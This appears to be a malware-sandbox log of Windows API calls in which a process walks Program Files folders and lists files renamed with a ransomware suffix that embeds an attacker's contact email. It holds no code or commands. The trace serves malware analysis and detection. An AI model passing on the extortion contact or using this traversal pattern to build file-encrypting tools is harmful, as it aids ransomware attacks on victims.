	[0189.694] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iediagcmd.exe", cAlternateFileName="")) returned 1
	[0189.695] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbc534b5e, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1
	[0189.695] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1
	[0189.695] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4c60b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1
	[0189.695] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8ca44c00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc9340, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1
	[0189.695] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0189.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\images\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb2158
	[0189.695] FindNextFileW (in: hFindFile=0x3fb2158, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.695] FindNextFileW (in: hFindFile=0x3fb2158, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bing.ico", cAlternateFileName="")) returned 1
	[0189.695] FindNextFileW (in: hFindFile=0x3fb2158, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bing.ico", cAlternateFileName="")) returned 0
	[0189.695] FindClose (in: hFindFile=0x3fb2158 | out: hFindFile=0x3fb2158) returned 1
	[0189.696] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x400a8b8 | out: hHeap=0x750000) returned 1
	[0189.696] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7ef8f0, ftCreationTime.dwHighDateTime=0x1d5ac45, ftLastAccessTime.dwLowDateTime=0xb15d8f60, ftLastAccessTime.dwHighDateTime=0x1d54fa3, ftLastWriteTime.dwLowDateTime=0xb15d8f60, ftLastWriteTime.dwHighDateTime=0x1d54fa3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="limitedcatchexemption.exe", cAlternateFileName="LIMITE~1.EXE")) returned 1
	[0189.696] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1
	[0189.696] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb2718
	[0189.696] FindNextFileW (in: hFindFile=0x3fb2718, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.696] FindNextFileW (in: hFindFile=0x3fb2718, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4248fc3e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4248fc3e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4248fc3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="install.ins.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="INSTAL~1.Z9")) returned 1
	[0189.696] FindNextFileW (in: hFindFile=0x3fb2718, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4248fc3e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4248fc3e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4248fc3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="install.ins.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="INSTAL~1.Z9")) returned 0
	[0189.696] FindClose (in: hFindFile=0x3fb2718 | out: hFindFile=0x3fb2718) returned 1
	[0189.696] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x400a8b8 | out: hHeap=0x750000) returned 1
	[0189.696] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0189.696] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0189.696] FindClose (in: hFindFile=0x3fb2698 | out: hFindFile=0x3fb2698) returned 1
	[0189.696] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3ff78a0 | out: hHeap=0x750000) returned 1
	[0189.696] FindNextFileW (in: hFindFile=0x3fb23d8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3b72c235, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72c235, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc90, dwReserved1=0xffffc550, cFileName="Java", cAlternateFileName="")) returned 1
	[0189.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3b72c235, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72c235, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fb20d8
	[0189.697] FindNextFileW (in: hFindFile=0x3fb20d8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3b72c235, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72c235, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.697] FindNextFileW (in: hFindFile=0x3fb20d8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de37490, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0x5f038870, ftLastAccessTime.dwHighDateTime=0x1d5717f, ftLastWriteTime.dwLowDateTime=0x5f038870, ftLastWriteTime.dwHighDateTime=0x1d5717f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="instructional_calibration_cheats.exe", cAlternateFileName="INSTRU~1.EXE")) returned 1
	[0189.697] FindNextFileW (in: hFindFile=0x3fb20d8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1
	[0189.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb2118
	[0189.697] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.697] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43209681, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43209681, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1
	[0189.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43209681, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43209681, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fb2418
	[0189.698] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43209681, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43209681, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.698] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4248fc3e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4248fc3e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x429a0cdf, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x172532, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="AWTDLL~1.Z9")) returned 1
	[0189.698] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424b5e8d, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x424b5e8d, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x424dc100, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4332, dwReserved0=0x0, dwReserved1=0x0, cFileName="bci.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="BCIDLL~1.Z9")) returned 1
	[0189.698] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424dc100, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x424dc100, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x424dc100, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x27134, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DCPRDL~1.Z9")) returned 1
	[0189.698] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42502388, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42502388, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42502388, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15140, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora_sse.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DECORA~1.Z9")) returned 1
	[0189.698] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42502388, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42502388, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x427b0ef1, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x8f938, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DEPLOY~1.Z9")) returned 1
	[0189.698] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1
	[0189.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb2758
	[0189.699] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.699] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4252868d, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4252868d, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42c85ff9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xfa942, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="deployJava1.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DEPLOY~1.Z9")) returned 1
	[0189.700] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427b0ef1, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x427b0ef1, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42cac161, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11a746, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npdeployJava1.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NPDEPL~1.Z9")) returned 1
	[0189.700] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427b0ef1, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x427b0ef1, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42cac161, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11a746, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npdeployJava1.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NPDEPL~1.Z9")) returned 0
	[0189.700] FindClose (in: hFindFile=0x3fb2758 | out: hFindFile=0x3fb2758) returned 1
	[0189.700] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.700] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427d70a2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x427d70a2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x427d70a2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x753c, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DT_SHM~1.Z9")) returned 1
	[0189.701] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427d70a2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x427d70a2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4286fbfe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x613e, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DT_SOC~1.Z9")) returned 1
	[0189.701] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4286fbfe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4286fbfe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x429c6fa7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x21534, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULADL~1.Z9")) returned 1
	[0189.701] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a13376, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x42a13376, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x42a9a1e8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x43142, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="FONTMA~1.Z9")) returned 1
